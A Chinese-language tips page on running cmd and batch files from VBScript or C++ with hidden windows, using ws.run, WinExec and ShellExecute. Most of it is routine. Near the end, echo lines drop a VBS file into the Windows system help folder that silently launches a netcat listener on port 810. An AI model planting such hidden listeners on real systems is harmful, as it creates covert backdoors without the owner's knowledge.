用vbs运行CMD不显示窗口的方法汇总

2020年5月7日11:14:47

使用Cscript.exe运行vbs会弹出cmd窗口
避免方法:
管理员权限运行cmd,输入cscript.exe //H:WScript,将默认的脚本宿主改为 WScript.exe,即可解决。

Set ws = CreateObject("Wscript.Shell") 
ws.run "cmd /c install.bat",vbhide 

#install.bat 为要执行的脚本名称,需要和xxx.vbs脚本放到同一个目录下

 

运行cmd.exe时,加了/c参数后它将运行/c后面的命令,不加参数的话,它只执行CMD命令。

system("xxx"),相当于执行cmd.exe /c xxx。

使用WinExec或ShellExecute和cmd.exe /c 来达到隐藏窗口的目的。

示例:

WinExec("cmd.exe /c dir > d:\\abc.txt", SW_HIDE);

ShellExecute(nullptr, L"open", L"cmd.exe", L"/c dir > d:\\abc.txt", nullptr, SW_HIDE);


单次运行请用这个,修改auto.bat为你要运行的批处理文件的名字,并将以下内容保存为vbs格式,放到auto.bat文件所在目录,名字随便,例如run.vbs

Set shell = Wscript.createobject("wscript.shell")

a = shell.run ("auto.bat",0)

循环运行请用这个,示例为每60秒运行一次,保存格式和所放置的目录同1所述

dim a
set a=CreateObject("Wscript.Shell")
Do
a.run "auto.bat"
Wscript.Sleep 60000
Loop
echo dim wsh > %systemroot%/help/test.vbs 
echo set wsh=CreateObject("WScript.Shell") >> %systemroot%/help/test.vbs 
echo wsh.run "cmd /c %systemroot%/help/nc -v -l -p 810 < %systemroot%/help/or.txt",0 >> %systemroot%/help/test.vbs

 

你可能感兴趣的:(VB)